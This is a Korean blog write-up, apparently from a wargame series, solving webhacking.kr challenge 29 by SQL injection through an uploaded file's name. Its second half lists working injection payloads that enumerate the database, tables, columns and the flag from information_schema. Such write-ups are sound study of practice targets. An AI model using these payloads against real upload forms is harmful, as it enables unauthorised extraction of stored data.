메인화면입니다.

소스보기는 제공하지 않네요 ~

파일 선택 + 제출을 통해 파일을 업로드 할 수 있습니다.

파일을 업로드해보겠습니다.

결과로 time, ip , file 필드에 값이 찍히네요 ~

ip의 경우 공인IP이므로 모자이크 처리 했습니다.

FLAG는 다른 테이블에 있다는 것이 힌트이므로 injection을 통해 다른 테이블을 알아내어 FLAG를 획득해야합니다.

파일이 업로드 되는 테이블의 컬럼은 다를 수도 있지만 time, ip, file 3개의 컬럼으로 가정하고 인젝션을 시도할 것 같습니다.

업로드시 파일명이 데이터베이스에 삽입되므로 파일명을 이용하여 인젝션을 시도하겠습니다.

매번 파일명을 바꾸어 진행하기 번거로우므로 프록시 툴을 이용하여 값을 변조하여 진행하겠습니다.

[인젝션 시도]

"filename"부분을 위와 같이 변경하였습니다.

컬럼의 순서는 순서를 바꾸어가면서 테스트를 해보면 알 수 있습니다.

여기서 'test'는 파일명, '1234'는 날짜, '모자이크'는 공인 IP입니다.

IP부분 때문에 엄청 애먹었습니다..

뇌피셜이지만 아마 내부적으로 DB에 저장된 공인 IP로 결과물을 출력해주는 것 같습니다.

또한 날짜에 "1234"를 준이유는 "1234"를 유닉스타임으로 바꾸면 "1970-01-01 09:20:34"이 됩니다.

결과는

아래는 업로드 결과물입니다.

날짜와 파일명이 변경된 것을 확인 할 수 있습니다.

filename 변경을 이용하여 DB정보를 하나씩 추출해보겠습니다.

[페이로드]

[DB조회]

test',1234,'[공인IP]'),((select database()),1234,'[공인IP]')#

= chall29

[테이블 개수 조회]

test',1234,'[공인IP]'),((select count(table_name) from information_schema.tables where table_schema='chall29'),1234,'[공인IP]')#

= 2

[첫번째 테이블명 조회]

test',1234,'[공인IP]'),((select table_name from information_schema.tables where table_schema='chall29' limit 0,1),1234,'[공인IP]')#

= files

[두번째 테이블명 조회]

test',1234,'[공인IP]'),((select table_name from information_schema.tables where table_schema='chall29' limit 1,1),1234,'[공인IP]')#

= flag_congratz

[해당 테이블의 컬럼명들 검색]

test',1234,'[공인IP]'),((select concat(column_name) from information_schema.columns where table_name='flag_congratz'),1234,'[공인IP]')#

= flag

[해당 컬럼의 값 검색]

test',1234,'[공인IP]'),((select concat(flag) from flag_congratz),1234,'[공인IP]')#

= FLAG{didYouFeelConfused?_sorry:)}

플래그를 구했습니다. 이제 인증은 진행해보겠습니다.

챌린지 29 성공!

'WAR GAME > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Level31 (old)  (304) 2020.04.28
[webhacking.kr] Level30 (old)  (310) 2020.04.28
[webhacking.kr] Level28 (old)  (345) 2020.04.28
[webhacking.kr] Level27 (old)  (318) 2020.04.28
[webhacking.kr] Level26 (old)  (310) 2020.04.28

+ Recent posts